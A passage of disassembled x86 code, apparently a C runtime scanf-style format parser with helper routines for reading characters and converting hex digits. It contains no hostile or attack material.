dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_420F16 mov edi, [ebp+arg_0] jmp short loc_42053F ; --------------------------------------------------------------------------- loc_42053A: ; CODE XREF: sub_420510+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_42053F: ; CODE XREF: sub_420510+28j cmp dword_43CBE4, 1 jle short loc_420557 movzx eax, al push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420566 ; --------------------------------------------------------------------------- loc_420557: ; CODE XREF: sub_420510+36j mov ecx, off_43C9D8 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420566: ; CODE XREF: sub_420510+45j cmp eax, ebx jz short loc_4205A0 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_420F9D pop ecx pop ecx push eax call sub_420F86 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 add esp, 0Ch loc_42058E: ; CODE XREF: sub_420510+8Ej test eax, eax jz short loc_4205A0 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 pop ecx jmp short loc_42058E ; --------------------------------------------------------------------------- loc_4205A0: ; CODE XREF: sub_420510+58j ; sub_420510+80j cmp byte ptr [esi], 25h jnz loc_420E82 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_4205D7: ; CODE XREF: sub_420510+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43CBE4, 1 jle short loc_4205F4 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420603 ; --------------------------------------------------------------------------- loc_4205F4: ; CODE XREF: sub_420510+D3j mov ecx, off_43C9D8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420603: ; CODE XREF: sub_420510+E2j test eax, eax jz short loc_420619 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420619: ; CODE XREF: sub_420510+F5j cmp ebx, 4Eh jg short loc_42065C jz short loc_42067E cmp ebx, 2Ah jz short loc_420657 cmp ebx, 46h jz short loc_42067E cmp ebx, 49h jz short loc_420639 cmp ebx, 4Ch jnz short loc_42066B inc [ebp+var_D] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420639: ; CODE XREF: sub_420510+11Dj cmp byte ptr [esi+1], 36h jnz short loc_42066B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_42066B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420657: ; CODE XREF: sub_420510+113j inc [ebp+var_E] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_42065C: ; CODE XREF: sub_420510+10Cj cmp ebx, 68h jz short loc_420678 cmp ebx, 6Ch jz short loc_420670 cmp ebx, 77h jz short loc_420673 loc_42066B: ; CODE XREF: sub_420510+122j ; sub_420510+12Dj ... inc [ebp+var_F] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420670: ; CODE XREF: sub_420510+154j inc [ebp+var_D] loc_420673: ; CODE XREF: sub_420510+159j inc [ebp+var_5] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420678: ; CODE XREF: sub_420510+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_42067E: ; CODE XREF: sub_420510+107j ; sub_420510+10Ej ... cmp [ebp+var_F], 0 jz loc_4205D7 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_4206A3 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_4206A3: ; CODE XREF: sub_420510+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4206C1 mov al, [esi] cmp al, 53h jz short loc_4206BD cmp al, 43h jz short loc_4206BD or [ebp+var_5], 0FFh jmp short loc_4206C1 ; --------------------------------------------------------------------------- loc_4206BD: ; CODE XREF: sub_420510+1A1j ; sub_420510+1A5j mov [ebp+var_5], 1 loc_4206C1: ; CODE XREF: sub_420510+19Bj ; sub_420510+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_4206FA cmp esi, 63h jz short loc_4206EB cmp esi, 7Bh jz short loc_4206EB push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_420F9D pop ecx jmp short loc_4206F6 ; --------------------------------------------------------------------------- loc_4206EB: ; CODE XREF: sub_420510+1C5j ; sub_420510+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C loc_4206F6: ; CODE XREF: sub_420510+1D9j pop ecx mov [ebp+var_14], eax loc_4206FA: ; CODE XREF: sub_420510+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42070A cmp [ebp+var_C], eax jz loc_420EE6 loc_42070A: ; CODE XREF: sub_420510+1EFj cmp esi, 6Fh jg loc_420971 jz loc_420C23 cmp esi, 63h jz loc_42094E cmp esi, 64h jz loc_420C23 jle loc_42099B cmp esi, 67h jle short loc_42076E cmp esi, 69h jz short loc_420756 cmp esi, 6Eh jnz loc_42099B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_420E51 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420756: ; CODE XREF: sub_420510+229j push 64h pop esi loc_420759: ; CODE XREF: sub_420510+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_4209E3 mov [ebp+var_17], 1 jmp loc_4209E8 ; --------------------------------------------------------------------------- loc_42076E: ; CODE XREF: sub_420510+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42078A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42078F ; --------------------------------------------------------------------------- loc_42078A: ; CODE XREF: sub_420510+26Aj cmp ebx, 2Bh jnz short loc_4207A6 loc_42078F: ; CODE XREF: sub_420510+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207A9 ; --------------------------------------------------------------------------- loc_4207A6: ; CODE XREF: sub_420510+27Dj mov edi, [ebp+arg_0] loc_4207A9: ; CODE XREF: sub_420510+294j cmp [ebp+var_20], 0 jz short loc_4207B8 cmp [ebp+var_C], 15Dh jle short loc_4207BF loc_4207B8: ; CODE XREF: sub_420510+29Dj mov [ebp+var_C], 15Dh loc_4207BF: ; CODE XREF: sub_420510+2A6j ; sub_420510+2F2j cmp dword_43CBE4, 1 jle short loc_4207D4 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4207DF ; --------------------------------------------------------------------------- loc_4207D4: ; CODE XREF: sub_420510+2B6j mov eax, off_43C9D8 mov al, [eax+ebx*2] and eax, 4 loc_4207DF: ; CODE XREF: sub_420510+2C2j test eax, eax jz short loc_420804 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420804 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207BF ; --------------------------------------------------------------------------- loc_420804: ; CODE XREF: sub_420510+2D1j ; sub_420510+2DBj cmp byte_43CBE8, bl jnz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax mov al, byte_43CBE8 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_42082D: ; CODE XREF: sub_420510+360j cmp dword_43CBE4, 1 jle short loc_420842 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_42084D ; --------------------------------------------------------------------------- loc_420842: ; CODE XREF: sub_420510+324j mov eax, off_43C9D8 mov al, [eax+ebx*2] and eax, 4 loc_42084D: ; CODE XREF: sub_420510+330j test eax, eax jz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42082D ; --------------------------------------------------------------------------- loc_420872: ; CODE XREF: sub_420510+2FAj ; sub_420510+304j ... cmp [ebp+var_1C], 0 jz loc_42090A cmp ebx, 65h jz short loc_42088A cmp ebx, 45h jnz loc_42090A loc_42088A: ; CODE XREF: sub_420510+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4208B1 mov [esi], al inc esi jmp short loc_4208B6 ; --------------------------------------------------------------------------- loc_4208B1: ; CODE XREF: sub_420510+39Aj cmp ebx, 2Bh jnz short loc_4208D4 loc_4208B6: ; CODE XREF: sub_420510+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4208C5 and [ebp+var_C], eax jmp short loc_4208D4 ; --------------------------------------------------------------------------- loc_4208C5: ; CODE XREF: sub_420510+3AEj ; sub_420510+3F8j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4208D4: ; CODE XREF: sub_420510+3A4j ; sub_420510+3B3j cmp dword_43CBE4, 1 jle short loc_4208E9 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4208F4 ; --------------------------------------------------------------------------- loc_4208E9: ; CODE XREF: sub_420510+3CBj mov eax, off_43C9D8 mov al, [eax+ebx*2] and eax, 4 loc_4208F4: ; CODE XREF: sub_420510+3D7j test eax, eax jz short loc_42090A mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4208C5 ; --------------------------------------------------------------------------- loc_42090A: ; CODE XREF: sub_420510+366j ; sub_420510+374j ... dec [ebp+var_4] push edi push ebx call sub_420F86 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43CF88 add esp, 0Ch jmp loc_420E77 ; --------------------------------------------------------------------------- loc_42094E: ; CODE XREF: sub_420510+20Cj cmp [ebp+var_20], eax jnz short loc_42095D inc [ebp+var_C] mov [ebp+var_20], 1 loc_42095D: ; CODE XREF: sub_420510+441j cmp [ebp+var_5], 0 jle short loc_420967 mov [ebp+var_16], 1 loc_420967: ; CODE XREF: sub_420510+451j mov edi, offset dword_43CE60 jmp loc_420A7C ; --------------------------------------------------------------------------- loc_420971: ; CODE XREF: sub_420510+1FDj mov eax, esi sub eax, 70h jz loc_420C1F sub eax, 3 jz loc_420A6D dec eax dec eax jz loc_420C23 sub eax, 3 jz loc_420759 sub eax, 3 jz short loc_4209BF loc_42099B: ; CODE XREF: sub_420510+21Bj ; sub_420510+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_420EE6 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_420E77 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_420E77 ; --------------------------------------------------------------------------- loc_4209BF: ; CODE XREF: sub_420510+489j cmp [ebp+var_5], 0 jle short loc_4209C9 mov [ebp+var_16], 1 loc_4209C9: ; CODE XREF: sub_420510+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_420A80 mov eax, edi lea edi, [eax+1] jmp loc_420A7C ; --------------------------------------------------------------------------- loc_4209E3: ; CODE XREF: sub_420510+24Fj cmp ebx, 2Bh jnz short loc_420A0A loc_4209E8: ; CODE XREF: sub_420510+259j dec [ebp+var_C] jnz short loc_4209F9 cmp [ebp+var_20], 0 jz short loc_4209F9 mov [ebp+var_F], 1 jmp short loc_420A0A ; --------------------------------------------------------------------------- loc_4209F9: ; CODE XREF: sub_420510+4DBj ; sub_420510+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420A0A: ; CODE XREF: sub_420510+4D6j ; sub_420510+4E7j cmp ebx, 30h jnz loc_420C58 push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_420A58 cmp bl, 58h jz short loc_420A58 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_420A42 push 6Fh loc_420A3C: ; CODE XREF: sub_420510+55Bj pop esi jmp loc_420C58 ; --------------------------------------------------------------------------- loc_420A42: ; CODE XREF: sub_420510+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx push 30h pop ebx jmp loc_420C55 ; --------------------------------------------------------------------------- loc_420A58: ; CODE XREF: sub_420510+517j ; sub_420510+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_420A3C ; --------------------------------------------------------------------------- loc_420A6D: ; CODE XREF: sub_420510+46Fj cmp [ebp+var_5], 0 jle short loc_420A77 mov [ebp+var_16], 1 loc_420A77: ; CODE XREF: sub_420510+561j mov edi, offset dword_43CE58 loc_420A7C: ; CODE XREF: sub_420510+45Cj ; sub_420510+4CEj or [ebp+var_18], 0FFh loc_420A80: ; CODE XREF: sub_420510+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41B590 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_420AA4 cmp byte ptr [edi], 5Dh jnz short loc_420AA4 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AA4: ; CODE XREF: sub_420510+584j ; sub_420510+589j mov dl, [ebp+var_35] loc_420AA7: ; CODE XREF: sub_420510+592j ; sub_420510+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_420B0C inc edi cmp al, 2Dh jnz short loc_420AF3 test dl, dl jz short loc_420AF3 mov cl, [edi] cmp cl, 5Dh jz short loc_420AF3 inc edi cmp dl, cl jnb short loc_420AC6 mov al, cl jmp short loc_420ACA ; --------------------------------------------------------------------------- loc_420AC6: ; CODE XREF: sub_420510+5B0j mov al, dl mov dl, cl loc_420ACA: ; CODE XREF: sub_420510+5B4j cmp dl, al ja short loc_420AEF movzx edx, dl movzx esi, al sub esi, edx inc esi loc_420AD7: ; CODE XREF: sub_420510+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_420AD7 loc_420AEF: ; CODE XREF: sub_420510+5BCj xor dl, dl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AF3: ; CODE XREF: sub_420510+5A0j ; sub_420510+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420B0C: ; CODE XREF: sub_420510+59Bj cmp byte ptr [edi], 0 jz loc_420F16 cmp [ebp+var_3C], 7Bh jnz short loc_420B1E mov [ebp+arg_4], edi loc_420B1E: ; CODE XREF: sub_420510+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_420F86 pop ecx pop ecx loc_420B35: ; CODE XREF: sub_420510+6BCj ; sub_420510+6C4j cmp [ebp+var_20], 0 jz short loc_420B49 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_420BE5 loc_420B49: ; CODE XREF: sub_420510+629j inc [ebp+var_4] push edi call sub_420F6C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_420BD9 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_420BD9 cmp [ebp+var_E], 0 jnz short loc_420BD1 cmp [ebp+var_16], 0 jz short loc_420BC6 mov ecx, off_43C9D8 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420BA5 inc [ebp+var_4] push edi call sub_420F6C pop ecx mov [ebp+var_37], al loc_420BA5: ; CODE XREF: sub_420510+686j push dword_43CBE4 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_423EC3 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_420BC9 ; --------------------------------------------------------------------------- loc_420BC6: ; CODE XREF: sub_420510+673j mov [esi], al inc esi loc_420BC9: ; CODE XREF: sub_420510+6B4j mov [ebp+var_2C], esi jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD1: ; CODE XREF: sub_420510+66Dj inc [ebp+var_30] jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD9: ; CODE XREF: sub_420510+649j ; sub_420510+667j dec [ebp+var_4] push edi push eax call sub_420F86 pop ecx pop ecx loc_420BE5: ; CODE XREF: sub_420510+633j cmp [ebp+var_30], esi jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_420E77 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_420C17 and word ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C17: ; CODE XREF: sub_420510+6FCj and byte ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C1F: ; CODE XREF: sub_420510+466j mov [ebp+var_D], 1 loc_420C23: ; CODE XREF: sub_420510+203j ; sub_420510+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_420C31 mov [ebp+var_17], 1 jmp short loc_420C36 ; --------------------------------------------------------------------------- loc_420C31: ; CODE XREF: sub_420510+719j cmp ebx, 2Bh jnz short loc_420C58 loc_420C36: ; CODE XREF: sub_420510+71Fj dec [ebp+var_C] jnz short loc_420C47 cmp [ebp+var_20], 0 jz short loc_420C47 mov [ebp+var_F], 1 jmp short loc_420C58 ; --------------------------------------------------------------------------- loc_420C47: ; CODE XREF: sub_420510+729j ; sub_420510+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax loc_420C55: ; CODE XREF: sub_420510+543j mov [ebp+var_14], ebx loc_420C58: ; CODE XREF: sub_420510+4FDj ; sub_420510+52Dj ... cmp [ebp+var_30], 0 jz loc_420D71 cmp [ebp+var_F], 0 jnz loc_420D4F loc_420C6C: ; CODE XREF: sub_420510+82Cj cmp esi, 78h jnz short loc_420CC0 cmp dword_43CBE4, 1 jle short loc_420C89 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420C96 ; --------------------------------------------------------------------------- loc_420C89: ; CODE XREF: sub_420510+768j mov eax, off_43C9D8 mov al, [eax+ebx*2] and eax, 80h loc_420C96: ; CODE XREF: sub_420510+777j test eax, eax jz loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_423F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420D13 ; --------------------------------------------------------------------------- loc_420CC0: ; CODE XREF: sub_420510+75Fj cmp dword_43CBE4, 1 jle short loc_420CD5 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420CD5: ; CODE XREF: sub_420510+7B7j mov eax, off_43C9D8 mov al, [eax+ebx*2] and eax, 4 loc_420CE0: ; CODE XREF: sub_420510+7C3j test eax, eax jz short loc_420D41 cmp esi, 6Fh jnz short loc_420CFE cmp ebx, 38h jge short loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_423F90 jmp short loc_420D0D ; --------------------------------------------------------------------------- loc_420CFE: ; CODE XREF: sub_420510+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41D280 loc_420D0D: ; CODE XREF: sub_420510+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_420D13: ; CODE XREF: sub_420510+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_420D2B dec [ebp+var_C] jz short loc_420D4F loc_420D2B: ; CODE XREF: sub_420510+814j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420C6C ; --------------------------------------------------------------------------- loc_420D41: ; CODE XREF: sub_420510+788j ; sub_420510+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420D4F: ; CODE XREF: sub_420510+756j ; sub_420510+819j cmp [ebp+var_17], 0 jz loc_420E35 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_420E35 ; --------------------------------------------------------------------------- loc_420D71: ; CODE XREF: sub_420510+74Cj cmp [ebp+var_F], 0 jnz loc_420E2D loc_420D7B: ; CODE XREF: sub_420510+90Aj cmp esi, 78h jz short loc_420DBF cmp esi, 70h jz short loc_420DBF cmp dword_43CBE4, 1 jle short loc_420D9A push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DA5 ; --------------------------------------------------------------------------- loc_420D9A: ; CODE XREF: sub_420510+87Cj mov eax, off_43C9D8 mov al, [eax+ebx*2] and eax, 4 loc_420DA5: ; CODE XREF: sub_420510+888j test eax, eax jz short loc_420E1F cmp esi, 6Fh jnz short loc_420DB8 cmp ebx, 38h jge short loc_420E1F shl edi, 3 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DB8: ; CODE XREF: sub_420510+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DBF: ; CODE XREF: sub_420510+86Ej ; sub_420510+873j cmp dword_43CBE4, 1 jle short loc_420DD7 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DE4 ; --------------------------------------------------------------------------- loc_420DD7: ; CODE XREF: sub_420510+8B6j mov eax, off_43C9D8 mov al, [eax+ebx*2] and eax, 80h loc_420DE4: ; CODE XREF: sub_420510+8C5j test eax, eax jz short loc_420E1F push ebx shl edi, 4 call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420DF7: ; CODE XREF: sub_420510+8A6j ; sub_420510+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_420E09 dec [ebp+var_C] jz short loc_420E2D loc_420E09: ; CODE XREF: sub_420510+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420D7B ; --------------------------------------------------------------------------- loc_420E1F: ; CODE XREF: sub_420510+897j ; sub_420510+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420E2D: ; CODE XREF: sub_420510+865j ; sub_420510+8F7j cmp [ebp+var_17], 0 jz short loc_420E35 neg edi loc_420E35: ; CODE XREF: sub_420510+843j ; sub_420510+85Cj ... cmp esi, 46h jnz short loc_420E3E and [ebp+var_1C], 0 loc_420E3E: ; CODE XREF: sub_420510+928j cmp [ebp+var_1C], 0 jz loc_420F16 cmp [ebp+var_E], 0 jnz short loc_420E77 inc [ebp+var_34] loc_420E51: ; CODE XREF: sub_420510+23Bj cmp [ebp+var_30], 0 jz short loc_420E67 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E67: ; CODE XREF: sub_420510+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_420E74 mov [eax], edi jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E74: ; CODE XREF: sub_420510+95Ej mov [eax], di loc_420E77: ; CODE XREF: sub_420510+241j ; sub_420510+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_420EC4 ; --------------------------------------------------------------------------- loc_420E82: ; CODE XREF: sub_420510+93j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_420EF1 mov ecx, off_43C9D8 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_420EC4 inc [ebp+var_4] push edi call sub_420F6C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_420EFF dec [ebp+var_4] loc_420EC4: ; CODE XREF: sub_420510+970j ; sub_420510+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420EDA cmp byte ptr [esi], 25h jnz short loc_420F1C mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_420F1C mov esi, eax loc_420EDA: ; CODE XREF: sub_420510+9B8j mov al, [esi] test al, al jnz loc_42053A jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EE6: ; CODE XREF: sub_420510+1F4j ; sub_420510+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_420EF6 ; --------------------------------------------------------------------------- loc_420EF1: ; CODE XREF: sub_420510+98Aj dec [ebp+var_4] push edi push ebx loc_420EF6: ; CODE XREF: sub_420510+9DFj call sub_420F86 pop ecx pop ecx jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EFF: ; CODE XREF: sub_420510+9AFj dec [ebp+var_4] push edi push eax call sub_420F86 dec [ebp+var_4] push edi push ebx call sub_420F86 add esp, 10h loc_420F16: ; CODE XREF: sub_420510+1Fj ; sub_420510+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420F2D loc_420F1C: ; CODE XREF: sub_420510+9BDj ; sub_420510+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_420F30 cmp [ebp+var_15], al jnz short loc_420F30 or eax, 0FFFFFFFFh jmp short loc_420F30 ; --------------------------------------------------------------------------- loc_420F2D: ; CODE XREF: sub_420510+A0Aj mov eax, [ebp+var_34] loc_420F30: ; CODE XREF: sub_420510+A11j ; sub_420510+A16j ... pop edi pop esi pop ebx leave retn sub_420510 endp ; =============== S U B R O U T I N E ======================================= sub_420F35 proc near ; CODE XREF: sub_420510+7A3p ; sub_420510+8DCp arg_0 = dword ptr 4 cmp dword_43CBE4, 1 push esi jle short loc_420F4F mov esi, [esp+4+arg_0] push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_420F5E ; --------------------------------------------------------------------------- loc_420F4F: ; CODE XREF: sub_420F35+8j mov esi, [esp+4+arg_0] mov eax, off_43C9D8 mov al, [eax+esi*2] and eax, 4 loc_420F5E: ; CODE XREF: sub_420F35+18j test eax, eax jnz short loc_420F68 and esi, 0FFFFFFDFh sub esi, 7 loc_420F68: ; CODE XREF: sub_420F35+2Bj mov eax, esi pop esi retn sub_420F35 endp ; =============== S U B R O U T I N E ======================================= sub_420F6C proc near ; CODE XREF: sub_420510+1E1p ; sub_420510+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_420F7E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_420F7E: ; CODE XREF: sub_420F6C+7j push edx call sub_41F043 pop ecx retn sub_420F6C endp ; =============== S U B R O U T I N E ======================================= sub_420F86 proc near ; CODE XREF: sub_420510+6Bp ; sub_420510+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_420F9C push [esp+arg_4] push [esp+4+arg_0] call sub_423FAF pop ecx pop ecx locret_420F9C: ; CODE XREF: sub_420F86+5j retn sub_420F86 endp ; =============== S U B R O U T I N E ======================================= sub_420F9D proc near ; CODE XREF: sub_420510+63p ; sub_420510+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_420FA3: ; CODE XREF: sub_420F9D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_420F6C mov edi, eax push edi call sub_41D670 pop ecx test eax, eax pop ecx jnz short loc_420FA3 mov eax, edi pop edi pop esi retn sub_420F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_420FC1(int,int,double,int) sub_420FC1 